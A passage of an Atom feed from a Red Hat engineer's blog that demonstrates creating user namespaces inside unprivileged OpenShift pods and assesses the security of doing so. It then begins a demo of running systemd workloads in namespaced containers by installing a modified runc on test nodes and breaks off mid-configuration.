&lt;span id=&quot;cb1-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; FOWNER&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; FSETID&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; SETPCAP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-18&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-18&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; NET_BIND_SERVICE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The Pod will run under the &lt;code&gt;restricted&lt;/code&gt; SCC. I explicitly drop a
number of default capabilities.&lt;/p&gt;
&lt;p&gt;Next I created a project named &lt;code&gt;userns&lt;/code&gt;, and new user &lt;code&gt;me&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc new-project userns
Now using project &amp;quot;userns&amp;quot; on server &amp;quot;https://api.ci-ln-cih2n32-f76d1.origin-ci-int-gce.dev.openshift.com:6443&amp;quot;.

You can add applications to this project with the 'new-app' command. For example, try:

    oc new-app rails-postgresql-example

to build a new example application in Ruby. Or use kubectl to deploy a simple Kubernetes application:

    kubectl create deployment hello-node --image=k8s.gcr.io/serve_hostname

% oc create user me
user.user.openshift.io/me created

% oc adm policy add-role-to-user edit me
clusterrole.rbac.authorization.k8s.io/edit added: &amp;quot;me&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Operating as &lt;code&gt;me&lt;/code&gt; I created the pod:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc --as me create -f pod-fedora.yaml
pod/fedora created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Soon after, the pod is running. I can see what node it is running
on, and its CRI-O container ID:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json pod/fedora \
    | jq '.status.phase,
          .spec.nodeName,
          .status.containerStatuses[0].containerID'
&amp;quot;Running&amp;quot;
&amp;quot;ci-ln-cih2n32-f76d1-sjtwq-worker-a-qr5hr&amp;quot;
&amp;quot;cri-o://d164163951604b7fc9506b3a390ec6a14c76dc6077406fc7b5ffcbf81c406f68&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next I started a shell in my container. I’ll leave it running for
now, and come back to it later:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc exec -it pod/fedora /bin/sh
sh-5.1$&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In another terminal, I opened a debug shell on the worker node.
Then I used &lt;code&gt;crictl&lt;/code&gt; to find out the process ID (&lt;code&gt;pid&lt;/code&gt;) of the main
container process.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc debug node/ci-ln-cih2n32-f76d1-sjtwq-worker-a-qr5hr
Starting pod/ci-ln-cih2n32-f76d1-sjtwq-worker-a-qr5hr-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.128.2
If you don't see a command prompt, try pressing enter.
sh-4.4# chroot /host
sh-4.4# crictl inspect d1641639 | jq .info.pid
18668&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next I used &lt;code&gt;pgrep&lt;/code&gt; to find all the processes that share the same
set of namespaces as process &lt;code&gt;18668&lt;/code&gt;. In other words, processes
running in the same pod sandbox.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# pgrep --ns 18668 \
    | xargs ps -o user,pid,cmd --sort pid
USER         PID CMD
1000580+   18668 sleep 3600
1000580+   26490 /bin/sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are two processes, running under an unpriviled UID. The UID
comes from a unique range allocated for the &lt;code&gt;userns&lt;/code&gt; project. These
two processes are the main container process (&lt;code&gt;sleep&lt;/code&gt;), and the
shell that I exected a few steps ago. As expected.&lt;/p&gt;
&lt;p&gt;Now for the fun part. Back to the shell we opened in &lt;code&gt;pod/fedora&lt;/code&gt;.
Observe that this shell process has an empty capability set:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-5.1$ grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000000000000000
CapAmb: 0000000000000000&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And yet, using &lt;code&gt;unshare(1)&lt;/code&gt; I was able to create a new user
namespace. The &lt;code&gt;-r&lt;/code&gt; option says to map &lt;code&gt;root&lt;/code&gt; in the new user
namespace to the user that created the namespace. And that is
indeed what happens:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-5.1$ unshare -U -r
[root@fedora /]# id
uid=0(root) gid=0(root) groups=0(root),65534(nobody)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I confirmed it via the node debug shell. I ran &lt;code&gt;pgrep&lt;/code&gt; again, this
time restricting the search to processes in the same &lt;code&gt;pid&lt;/code&gt; namespace
as process &lt;code&gt;18668&lt;/code&gt;. The &lt;code&gt;--nslist&lt;/code&gt; option gives the list of
namespaces to match (all namespaces when not specified).&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# pgrep --ns 18668 --nslist pid \
    | xargs ps -o user,pid,cmd --sort pid
USER         PID CMD
1000580+   18668 sleep 3600
1000580+   26490 /bin/sh
1000580+   36704 -sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The new shell has pid &lt;code&gt;36704&lt;/code&gt;. Observe that UID &lt;code&gt;0&lt;/code&gt; in the
container maps to UID &lt;code&gt;1000580000&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# cat /proc/36704/uid_map
         0 1000580000          1&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;discussion&quot;&gt;Discussion &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#discussion&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You can create and use user namespaces inside your containers
without any special support from OpenShift or Kubernetes.
Therefore, the idea of a OpenShift or Kubernetes feature for running
a workload in an isolated user namespace &lt;em&gt;by default&lt;/em&gt; does not lead
to an increased risk of container escapes or privilege escalation
related to processes running as uid 0 in a user namespace.&lt;/p&gt;
&lt;p&gt;This is not to gloss over the fact that other parts of a “workloads
in user namespaces” feature have to be designed and implemented with
care. Particular aspects include pod admission and selection of the
unprivileged UIDs to map to. But on the question of the security of
the Linux user namespaces feature itself, a first class OpenShift of
Kubernetes feature doesn’t introduce any new risk. Whatever risk
there is, is there right now.&lt;/p&gt;
&lt;p&gt;If some critical security with user namespaces emerges and you need
an urgent mitigation, the only option is to alter the container
runtime Seccomp policies to block the &lt;code&gt;unshare(2)&lt;/code&gt; syscall. This is
an advanced topic, involving changes to node configuration. For
details, see &lt;a href=&quot;https://docs.openshift.com/container-platform/4.8/security/seccomp-profiles.html&quot;&gt;&lt;em&gt;Configuring seccomp profiles&lt;/em&gt;&lt;/a&gt; in the
official OpenShift documentation.&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Demo: namespaced systemd workloads on OpenShift</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2021-07-22-openshift-systemd-workload-demo.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2021-07-22-openshift-systemd-workload-demo.html</id>
		<updated>2021-07-22T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;demo-namespaced-systemd-workloads-on-openshift&quot;&gt;Demo: namespaced systemd workloads on OpenShift&lt;/h1&gt;
&lt;p&gt;I have spent much of the last year diving deep into OpenShift’s
container runtime. The goal: work out how to run systemd-based
workloads in &lt;em&gt;user namespaces&lt;/em&gt; on OpenShift nodes. The exploration
took many twists and turns. But finally, I have achieved the goal.&lt;/p&gt;
&lt;p&gt;In this post I recap the journey so far, and
&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#demo&quot;&gt;&lt;strong&gt;demonstrate&lt;/strong&gt;&lt;/a&gt; what I have achieved. Then I will
summarise the path(s?) forward from here.&lt;/p&gt;
&lt;h2 id=&quot;the-journey-so-far&quot;&gt;The journey so far &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#the-journey-so-far&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;My &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2021-07-21-freeipa-on-openshift-update.html&quot;&gt;previous post&lt;/a&gt;
gives an overview of the FreeIPA on OpenShift project. In
particular, it explains our decision to use a “monolithic”
systemd-based container. That implementation approach exposed
capability gaps in OpenShift and led to a long running series of
investigations. I wrote up the results of these investigations
across several blog posts, summarised here:&lt;/p&gt;
&lt;h3 id=&quot;openshift-and-user-namespaces&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2020-11-05-openshift-user-namespace.html&quot;&gt;&lt;em&gt;OpenShift and user namespaces&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#openshift-and-user-namespaces&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I observed that OpenShift (4.6 at the time) did not isolate
containers in user namespaces. I noted that &lt;a href=&quot;https://github.com/kubernetes/enhancements/issues/127&quot;&gt;KEP-127&lt;/a&gt; proposes
user namespace support for Kubernetes (it is &lt;a href=&quot;https://github.com/kubernetes/enhancements/pull/2101&quot;&gt;still being worked
on&lt;/a&gt;). CRI-O
had also recently &lt;a href=&quot;https://github.com/cri-o/cri-o/pull/3944&quot;&gt;added
support&lt;/a&gt; for user
namespaces via annotations.&lt;/p&gt;
&lt;h3 id=&quot;user-namespaces-in-openshift-via-cri-o-annotations&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2020-12-01-openshift-crio-userns.html&quot;&gt;&lt;em&gt;User namespaces in OpenShift via CRI-O annotations&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#user-namespaces-in-openshift-via-cri-o-annotations&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I tested CRI-O’s annotation-based user namespace support on
OpenShift 4.7 nightlies. I found that the runtime creates a sandbox
with a user namespace and the expected UID mappings. I also found
that it is necessary to override the &lt;code&gt;net.ipv4.ping_group_range&lt;/code&gt;
sysctl. Also, the SCC enforcement machinery does not know about
user namespaces and therefore the account that creates the container
requires the &lt;code&gt;anyuid&lt;/code&gt; SCC. These deficiencies still exist today.&lt;/p&gt;
&lt;h3 id=&quot;user-namespace-support-in-openshift-4.7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2021-03-03-openshift-4.7-user-namespaces.html&quot;&gt;&lt;em&gt;User namespace support in OpenShift 4.7&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#user-namespace-support-in-openshift-4.7&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I continued my investigation after the release of OpenShift 4.7.
With the aforementioned caveats, user namespaces work. I also noted
an inconsistent treatment of &lt;code&gt;securityContext&lt;/code&gt;: specifying
&lt;code&gt;runAsUser&lt;/code&gt; in the &lt;code&gt;PodSpec&lt;/code&gt; maps the container’s UID &lt;code&gt;0&lt;/code&gt; to host
UID &lt;code&gt;0&lt;/code&gt;—a dangerous configuration.&lt;/p&gt;
&lt;p&gt;More recently, I noticed that the &lt;code&gt;userns-mode&lt;/code&gt; annotation I was
using included &lt;code&gt;map-to-root=true&lt;/code&gt;. I now understand that it is this
configuration that causes this mapping behaviour. I no longer
consider it particularly serious. Ideally the SCC enforcement
should learn about user namespaces, and prevent unprivileged users
from creating containers that run as &lt;code&gt;root&lt;/code&gt; (or other system
accounts) on the host.&lt;/p&gt;
&lt;h3 id=&quot;multiple-users-in-user-namespaces-on-openshift&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2021-03-10-openshift-user-namespace-multi-user.html&quot;&gt;&lt;em&gt;Multiple users in user namespaces on OpenShift&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#multiple-users-in-user-namespaces-on-openshift&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I verified that workloads that run processes under a variety of user
accounts work as expected in user namespaces. I did not use a
&lt;em&gt;systemd&lt;/em&gt;-based workload to verify this.&lt;/p&gt;
&lt;h3 id=&quot;systemd-containers-on-openshift-with-cgroups-v2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2021-03-30-openshift-cgroupv2-systemd.html&quot;&gt;&lt;em&gt;systemd containers on OpenShift with cgroups v2&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#systemd-containers-on-openshift-with-cgroups-v2&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I observed that systemd-based workloads run successfully in
OpenShift when executed as UID 0 &lt;em&gt;on the host&lt;/em&gt;. Such containers can
only be created by accounts granted privileged SCCs (e.g. &lt;code&gt;anyuid&lt;/code&gt;).
When running the container under other UIDs, &lt;em&gt;systemd&lt;/em&gt; can’t run
because it does not have write permission on the container’s cgroup
directory.&lt;/p&gt;
&lt;h3 id=&quot;using-runc-to-explore-the-oci-runtime-specification&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2021-05-27-oci-runtime-spec-runc.html&quot;&gt;&lt;em&gt;Using &lt;code&gt;runc&lt;/code&gt; to explore the OCI Runtime Specification&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#using-runc-to-explore-the-oci-runtime-specification&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I investigated how &lt;code&gt;runc&lt;/code&gt; (the OCI runtime used in OpenShift)
operates, and how it creates cgroups. I identified some potential
ways to change the ownership of the container cgroup to the
&lt;em&gt;container’s&lt;/em&gt; UID 0.&lt;/p&gt;
&lt;h3 id=&quot;systemd-cgroups-and-subuid-ranges&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2021-06-09-systemd-cgroups-subuid.html&quot;&gt;&lt;em&gt;systemd, cgroups and subuid ranges&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#systemd-cgroups-and-subuid-ranges&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I discovered that the systemd &lt;em&gt;transient unit API&lt;/em&gt; (which &lt;code&gt;runc&lt;/code&gt;
uses to create container cgroups) allows specifying a different
owner for the new cgroup. Unfortunately, the user must be “known”,
in the form of a &lt;code&gt;passwd&lt;/code&gt; entity via NSSwitch. A &lt;a href=&quot;https://github.com/systemd/systemd/issues/19781&quot;&gt;proposal to relax
this requirement&lt;/a&gt;
was provisionally rejected. Other approaches include writing an
NSSwitch module to synthesise &lt;code&gt;passwd&lt;/code&gt; entities for subuids, or
modifying &lt;code&gt;runc&lt;/code&gt; to &lt;code&gt;chown(2)&lt;/code&gt; the container cgroup after systemd
creates it. I decided to experiment with the latter approach.&lt;/p&gt;
&lt;h2 id=&quot;modifying-runc-to-chown-the-container-cgroup&quot;&gt;Modifying &lt;code&gt;runc&lt;/code&gt; to &lt;code&gt;chown&lt;/code&gt; the container cgroup &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#modifying-runc-to-chown-the-container-cgroup&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The main challenge in modifying &lt;code&gt;runc&lt;/code&gt; was getting my head around
the unfamiliar codebase. The actual operations are straightforward.
There are two main aspects.&lt;/p&gt;
&lt;p&gt;The first aspect is to compute the appropriate owner UID for the
cgroup, and tell it to the cgroup manager object. I &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2021-06-09-systemd-cgroups-subuid.html#determining-the-uid&quot;&gt;described the
algorithm&lt;/a&gt; in a previous post. The &lt;code&gt;config.HostRootUID()&lt;/code&gt; method
already implements this computation. I was able to reuse it.&lt;/p&gt;
&lt;p&gt;The second aspect is to actually &lt;code&gt;chown(2)&lt;/code&gt; the relevant cgroup
files and directories. I previously observed systemd’s behaviour
when creating units owned by arbitrary users. systemd &lt;code&gt;chown&lt;/code&gt;s the
container’s cgroup directory, and the &lt;code&gt;cgroup.procs&lt;/code&gt;,
&lt;code&gt;cgroup.subtree_control&lt;/code&gt; and &lt;code&gt;cgroup.threads&lt;/code&gt; files within that
directory. &lt;code&gt;runc&lt;/code&gt; will do the same. The cgroup manager object
already knows the path to the container cgroup directory. It
changes the owner of the directory and same three files as &lt;em&gt;systemd&lt;/em&gt;
to the relevant user.&lt;/p&gt;
&lt;h2 id=&quot;demo&quot;&gt;Demo &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#demo&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Following is a step-by-step demonstration starting with a fresh
deployment of OpenShift &lt;code&gt;4.7.20&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get clusterversion
NAME      VERSION   AVAILABLE   PROGRESSING   SINCE   STATUS
version   4.7.20    True        False         8m52s   Cluster version is 4.7.20&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;There is a &lt;a href=&quot;https://github.com/cri-o/cri-o/issues/5077&quot;&gt;regression&lt;/a&gt;
in OpenShift 4.8.0 that prevents Pod annotations from being propagated
to container OCI configurations. As a consequence, &lt;code&gt;runc&lt;/code&gt; does not
receive the annotations that trigger the experimental behaviour. I
filed a &lt;a href=&quot;https://github.com/cri-o/cri-o/pull/5078&quot;&gt;pull request&lt;/a&gt;
that fixes the issue. The patch was accepted and the fix released
in OpenShift 4.8.4.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The latent credential is the cluster &lt;code&gt;admin&lt;/code&gt; user. Where relevant,
I use the &lt;code&gt;oc --as USER&lt;/code&gt; option to execute commands as other users.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc whoami
system:admin&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;install-modified-runc-package&quot;&gt;Install modified &lt;code&gt;runc&lt;/code&gt; package &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#install-modified-runc-package&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;List the nodes in the cluster:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get node
NAME                                       STATUS   ROLES    AGE   VERSION
ci-ln-jqbnbfk-f76d1-gnkkv-master-0         Ready    master   61m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-master-1         Ready    master   61m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-master-2         Ready    master   61m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-worker-a-vrbnv   Ready    worker   52m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-worker-b-dxk6k   Ready    worker   52m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-worker-c-db89w   Ready    worker   52m   v1.20.0+01c9f3f&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For each worker node, open a node debug shell and use &lt;code&gt;rpm-ostree override replace&lt;/code&gt; to install the modified &lt;code&gt;runc&lt;/code&gt; (one worker shown):&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc debug node/ci-ln-jqbnbfk-f76d1-gnkkv-worker-a-vrbnv
Starting pod/ci-ln-jqbnbfk-f76d1-gnkkv-worker-a-vrbnv-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.32.2
If you don't see a command prompt, try pressing enter.
sh-4.2# chroot /host
sh-4.4# rpm-ostree override replace https://ftweedal.fedorapeople.org/runc-1.0.0-990.rhaos4.8.gitcd80260.el8.x86_64.rpm
Downloading 'https://ftweedal.fedorapeople.org/runc-1.0.0-990.rhaos4.8.gitcd80260.el8.x86_64.rpm'... done!
Checking out tree 9767154... done
No enabled rpm-md repositories.
Importing rpm-md... done
Resolving dependencies... done
Applying 1 override
Processing packages... done
Running pre scripts... done
Running post scripts... done
Running posttrans scripts... done
Writing rpmdb... done
Writing OSTree commit... done
Staging deployment... done
Upgraded:
  runc 1.0.0-96.rhaos4.8.gitcd80260.el8 -&amp;gt; 1.0.0-990.rhaos4.8.gitcd80260.el8
Run &amp;quot;systemctl reboot&amp;quot; to start a reboot&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;Instead of installing the modified &lt;code&gt;runc&lt;/code&gt; on all worker nodes, you
could update one node and use &lt;code&gt;.spec.nodeAffinity&lt;/code&gt; in the &lt;code&gt;PodSpec&lt;/code&gt;
to force the pod to run on that node.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Don’t worry about the restart right now (it will happen in the next
step). Exit the debug shell:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# exit
sh-4.2# exit

Removing debug pod ...&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;enable-user-namespaces-and-cgroups-v2&quot;&gt;Enable user namespaces and cgroups v2 &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#enable-user-namespaces-and-cgroups-v2&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The following &lt;code&gt;MachineConfig&lt;/code&gt; enables cgroups v2 and CRI-O
annotation-based user namespace support:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb6&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb6-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; machineconfiguration.openshift.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; MachineConfig&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;machineconfiguration.openshift.io/role&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; worker&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; userns-cgv2&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;kernelArguments&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; systemd.unified_cgroup_hierarchy=1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; cgroup_no_v1=&amp;quot;all&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; psi=1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ignition&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
